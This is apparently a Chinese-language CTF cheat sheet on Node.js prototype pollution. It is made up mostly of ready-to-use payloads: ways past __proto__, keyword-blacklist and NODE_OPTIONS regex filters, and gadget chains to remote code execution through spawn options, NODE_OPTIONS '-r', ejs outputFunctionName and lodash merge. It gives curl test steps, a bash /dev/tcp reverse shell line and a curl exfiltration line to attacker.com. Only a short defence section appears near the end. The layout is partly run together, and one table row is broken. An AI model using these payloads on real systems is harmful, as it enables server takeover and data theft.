2231 字
11 分钟
Node.js
一、Node.js 核心利用模块
1. child_process - 命令执行
// 异步执行,结果不回显(需反弹shell)require('child_process').exec('ls')
// 同步执行,结果直接回显require('child_process').execSync('cat /flag').toString()
// spawn 传入参数数组require('child_process').spawn('ls', ['/'])require('child_process').spawnSync('cat', ['/flag'])
// execFile 执行文件require('child_process').execFile('/bin/sh', ['-c', 'cat /flag'])2. fs - 文件操作
// 同步读取require('fs').readFileSync('/flag').toString()
// 异步读取require('fs').readFile('/flag', (err, data) => console.log(data))
// 写文件require('fs').writeFileSync('/tmp/shell.js', 'code')
// 目录遍历require('fs').readdirSync('/').forEach(f => console.log(f))3. eval/Function - 代码执行
// 直接执行代码eval("require('child_process').execSync('id')")
// Function 构造器Function("return require('child_process').execSync('id')")()
// 间接调用[].constructor.constructor("return process")()4. process - 全局入口
process.env // 环境变量process.cwd() // 当前工作目录process.mainModule // 主模块 (已弃用但仍可用)process.mainModule.require() // 加载任意模块
// 常用链process.mainModule.require('child_process').execSync('id')二、原型链污染基础
1. 原型链概念
// 每个对象都有 __proto__ 指向其原型let obj = {}obj.__proto__ === Object.prototype // true
// 原型链查找:自身 → __proto__ → __proto__.__proto__ → ... → nullobj.toString() // 从 Object.prototype 继承
// 函数有 prototype 属性function Foo() {}Foo.prototype.constructor === Foo // true
// new 创建的对象,__proto__ 指向构造函数的 prototypelet f = new Foo()f.__proto__ === Foo.prototype // true2. 污染原理
// 正常情况:只有特定对象有某个属性let obj = {}console.log(obj.admin) // undefined
// 污染原型链后:所有对象都继承该属性Object.prototype.admin = trueconsole.log(obj.admin) // true (从原型链继承)
// 影响范围:所有后续创建的对象let obj2 = {}console.log(obj2.admin) // true3. 常见污染入口
// 危险函数模式function merge(target, source) { for (let key in source) { if (source[key] instanceof Object) { merge(target[key], source[key]) } else { target[key] = source[key] } }}
// 触发污染merge({}, JSON.parse('{"__proto__":{"admin":true}}'))
// 其他危险函数Object.assign({}, user_input) // 某些情况_.merge({}, user_input) // lodash < 4.17.21$.extend(true, {}, user_input) // jQuery < 3.4.0三、污染方式与绕过
1. 基本污染方式
// 方式1: __proto__ 直接污染{"__proto__": {"evil": 1}}
// 方式2: constructor.prototype 链式污染{"constructor": {"prototype": {"evil": 1}}}
// 方式3: __proto__.__proto__ (嵌套污染){"__proto__": {"__proto__": {"evil": 1}}}2. 过滤绕过技巧
2.1 proto 过滤绕过
// 过滤代码if (key === '__proto__') continue;
{"constructor": {"prototype": {"evil": 1}}}
// 绕过方式: __proto__ 的其他表示{"\u005f\u005fproto\u005f\u005f": {"evil": 1}} // Unicode (JSON.stringify会转换)Object.assign({}, JSON.parse('{"__proto__":...}')) // 某些情况绕过2.2 关键字黑名单绕过
// 黑名单: "shell", "env", "exports", "main", "module"// 绕过思路:
// 1. 属性名不在黑名单中// 黑名单检查 JSON 字符串中的键名// 但 constructor.prototype.xxx 中的 xxx 不受限制{"constructor": {"prototype": {"NODE_OPTIONS": "-r /flag"}}}
// 2. 字符串拼接 (eval场景)global["sh" + "ell"] = true
// 3. 十六进制/Unicode编码 (某些解析器){"\x73hell": true} // \x73 = 's'2.3 正则过滤绕过
// 过滤代码const dangerousPattern = /(?:^|\s)--(require|import|loader|openssl|icu|inspect)\b/i;
// 绕过: 使用短格式NODE_OPTIONS: "-r /flag" // -r 是 --require 的短格式,不在正则中
// 绕过: 参数拼接NODE_OPTIONS: "--require=/flag" // 没有 \b 边界,某些情况可绑过
// 绕过: 空格变体NODE_OPTIONS: "--require\t/flag" // \t 替代空格3. 合并函数绕过案例
// 案例1: 只检查顶层 __proto__function merge(target, source) { for (let key in source) { if (key === '__proto__') continue; // 只检查顶层 if (typeof source[key] === 'object') { merge(target[key], source[key]) } else { target[key] = source[key] } }}// 绕过: constructor.prototype{"constructor": {"prototype": {"evil": 1}}}
// 案例2: 递归检查 __proto__function merge(target, source) { for (let key in source) { if (key === '__proto__') continue; if (key === 'prototype') continue; // 加了prototype过滤 // ... }}// 绕过: 嵌套对象{"__proto__": {"__proto__": {"evil": 1}}}
// 案例3: 黑名单过滤const forbidden = ['__proto__', 'prototype', 'constructor'];if (forbidden.includes(key)) continue;// 绕过: 找其他路径或利用条件竞争四、利用链 (Gadgets)
1. child_process.spawn 参数注入
// spawn 调用spawn('node', ['-e', code'], options)
// 可污染的 options 属性:// - cwd: 工作目录// - env: 环境变量对象// - argv0: 进程名// - stdio: 标准输入输出配置// - shell: 是否使用shell (true时可命令注入)// - uid/gid: 用户/组ID
// 污染示例{"constructor": {"prototype": {"shell": true}}} // 启用shell{"constructor": {"prototype": {"cwd": "/flag"}}} // 改变工作目录{"constructor": {"prototype": {"argv0": "-e"}}} // 修改参数2. NODE_OPTIONS 环境变量注入
// NODE_OPTIONS 是 Node.js 的特殊环境变量,传递参数给所有子进程// 源码示例const customEnv = Object.create(null); // 无原型对象,不受污染for (let key in process.env) { customEnv[key] = process.env[key];}
// 但如果 spawn 的 options 对象没有显式设置 env,会继承 Object.prototypespawn('node', args); // options 默认继承原型链
// 利用方式{"constructor": {"prototype": {"NODE_OPTIONS": "--require=/path/to/evil.js"}}}{"constructor": {"prototype": {"NODE_OPTIONS": "-r /flag"}}} // 短格式
// 读取 flag(flag非JS会报错,内容在错误中泄露)// -r /flag 尝试加载 /flag 作为模块,报错信息包含 flag 内容3. Array.prototype 参数注入
// 当代码使用数组作为参数时spawn('node', ['-e', 'code']) // 参数是数组
// 污染 Array.prototype 可以注入额外参数{"constructor": {"prototype": {"2": "-p", "3": "require('child_process').execSync('id')"}}}
// 实际效果: node -e 'code' -p 'require(...)'4. ejs 模板引擎 RCE
// ejs < 3.1.6 存在原型链污染 RCE// 利用链: outputFunctionName → 预编译 → 代码执行
{"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');x"}}5. jade/pug 模板引擎 RCE
// jade/pug 模板引擎利用链{"__proto__": {"self": true, "debug": true}} // 可能导致信息泄露{"__proto__": {"compileDebug": true, "client": true}} // 调试模式6. express 常见利用
// express 静态文件服务{"__proto__": {"index": "flag.txt"}} // 修改默认索引文件
// session 控制{"__proto__": {"isadmin": true}}
// 视图引擎{"__proto__": {"settings": {"view engine": "ejs"}}}7. require 缓存污染
// 污染 require 缓存{"__proto__": {"./safe-module": {"exports": {"dangerous": true}}}}
// 或污染 module.constructorrequire.constructor.prototype._cache['./evil'] = {exports: {run: () => evil()}}8. 函数构造器利用
// 从任意对象获取 Function 构造器[].constructor.constructor("return process")()"".__proto__.constructor.constructor("return this")()
// 执行任意代码[].constructor.constructor("return require('child_process').execSync('id')")()五、实战场景分类
场景1: merge/clone 函数
// 最常见的入口app.post('/config', (req, res) => { merge(config, req.body); // 危险!});
// 利用POST /config{"__proto__": {"admin": true}}// 或{"constructor": {"prototype": {"admin": true}}}场景2: 对象复制/扩展
// Object.assign 深拷贝问题Object.assign(config, req.body); // 单层,无法污染原型
// 但递归版本可能有问题function deepAssign(target, source) { for (let key in source) { if (typeof source[key] === 'object') { deepAssign(target[key], source[key]) } else { target[key] = source[key] } }}场景3: JSON 解析 + 赋值
// 危险模式let config = JSON.parse(req.body.data);user.role = config.role; // 如果 config 被污染...
// 或直接使用用户输入创建对象let obj = {[key]: value}; // 如果 key 是 __proto__场景4: 模板引擎
// ejs 渲染时res.render('template', user_data); // user_data 可能污染渲染选项
// 利用{"__proto__": {"outputFunctionName": "x;global.process.mainModule.require('child_process').execSync('id');x"}}六、检测与验证
1. 检测污染是否生效
// 测试 payload{"__proto__": {"test": 1}}// 或{"constructor": {"prototype": {"test": 1}}}
// 验证: 检查新对象是否继承该属性// 如果服务有回显,可能看到效果// 或通过报错信息观察2. 常见回显方式
// 1. 直接回显res.json({admin: user.admin}) // 如果污染了 admin
// 2. 报错回显// NODE_OPTIONS: "-r /flag" 会将 flag 内容显示在报错中
// 3. 反弹 shell{"__proto__": {"NODE_OPTIONS": "-r /tmp/shell.js"}}// /tmp/shell.js 内容require('child_process').exec('bash -c "bash -i >& /dev/tcp/IP/PORT 0>&1"')
// 4. 外带数据require('child_process').exec('curl http://attacker.com/$(cat /flag | base64)')七、完整利用流程
Step 1: 识别入口点
# 寻找 JSON 输入点POST /api/configContent-Type: application/json
# 或 URL 参数?data={"key":"value"}
# 或 CookieCookie: data={"key":"value"}Step 2: 测试污染
# 测试1: __proto__curl -X POST $URL -H "Content-Type: application/json" \ -d '{"__proto__":{"__test__":1}}'
# 测试2: constructor.prototype (如果 __proto__ 被过滤)curl -X POST $URL -H "Content-Type: application/json" \ -d '{"constructor":{"prototype":{"__test__":1}}}'Step 3: 寻找利用链
# 检查代码中是否有:# - child_process.spawn/exec# - ejs/jade 等模板引擎# - 文件操作# - 环境变量使用# - require 动态加载Step 4: 构造 Payload
# RCE via spawn + shell{"constructor":{"prototype":{"shell":true}}}
# RCE via NODE_OPTIONS (短格式绕过正则){"constructor":{"prototype":{"NODE_OPTIONS":"-r /flag"}}}
# RCE via ejs{"__proto__":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('id');x"}}八、经典例题分析
例题1: spawn + NODE_OPTIONS (本题)
// 源码关键点function merge(target, source, res) { for (let key in source) { if (key === '__proto__') continue; // 过滤 __proto__ // ... }}
const forbidden = ['shell', 'env', 'exports', 'main', 'module', ...];const bodyStr = JSON.stringify(userConfig).toLowerCase();if (bodyStr.includes(`"${word}"`)) { ... } // 黑名单检查键名
spawn('node', ['-e', code'], {env: customEnv, shell: false}); // spawn 调用
// 正则过滤 NODE_OPTIONSconst dangerousPattern = /(?:^|\s)--(require|import|loader|openssl|icu|inspect)\b/i;
// 利用思路:// 1. constructor.prototype 绕过 __proto__ 过滤// 2. NODE_OPTIONS 不在黑名单中,可以污染// 3. -r 短格式绕过 --require 正则过滤// 4. spawn 的 options 对象继承 Object.prototype
// Payload{"constructor":{"prototype":{"NODE_OPTIONS":"-r /flag"}}}
// 结果: flag 内容在报错信息中泄露例题2: lodash.merge (CVE-2020-8203)
// lodash < 4.17.21 的 merge 函数存在原型链污染const _ = require('lodash');_.merge({}, req.body);
// 利用{"__proto__": {"isAdmin": true}}{"constructor": {"prototype": {"shell": true}}}例题3: ejs 模板引擎
// ejs 渲染res.render('index', req.body);
// 利用链{"__proto__": {"outputFunctionName": "x;global.process.mainModule.require('child_process').execSync('cat /flag');x"}}九、防御措施
// 1. 使用 Object.create(null) 创建无原型对象let safeObj = Object.create(null);
// 2. 使用 Map 代替普通对象let safeMap = new Map();
// 3. 冻结原型Object.freeze(Object.prototype);
// 4. 白名单过滤const allowedKeys = ['name', 'age'];for (let key in source) { if (!allowedKeys.includes(key)) continue; target[key] = source[key];}
// 5. 检查 __proto__ 和 constructorif (key === '__proto__' || key === 'constructor') continue;
// 6. 使用 hasOwnPropertyif (source.hasOwnProperty(key)) { target[key] = source[key];}十、快速参考表
| 过滤方式 | 绕过方法 |
|---|---|
key === '__proto__' | constructor.prototype |
| `key === ‘proto’ | |
| 黑名单检查键名 | 污染值而非键,或用不在黑名单的属性 |
正则过滤 --require | 短格式 -r |
NODE_OPTIONS 过滤 -e, -p | 使用 -r 预加载文件 |
Object.create(null) 隔离 | 找其他污染点 (如 spawn options) |
| 无回显 | 反弹 shell、外带数据、报错泄露 |
常用 Payload 模板
// 基础污染{"__proto__": {"key": "value"}}{"constructor": {"prototype": {"key": "value"}}}
// RCE via spawn shell{"constructor": {"prototype": {"shell": true}}}
// RCE via NODE_OPTIONS{"constructor": {"prototype": {"NODE_OPTIONS": "-r /path/to/evil.js"}}}
// RCE via Array.prototype{"constructor": {"prototype": {"0": "-e", "1": "evil_code"}}}
// ejs RCE{"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');x"}}
// 函数构造器链[].constructor.constructor("return process")().mainModule.require('child_process').execSync('id')参考资源: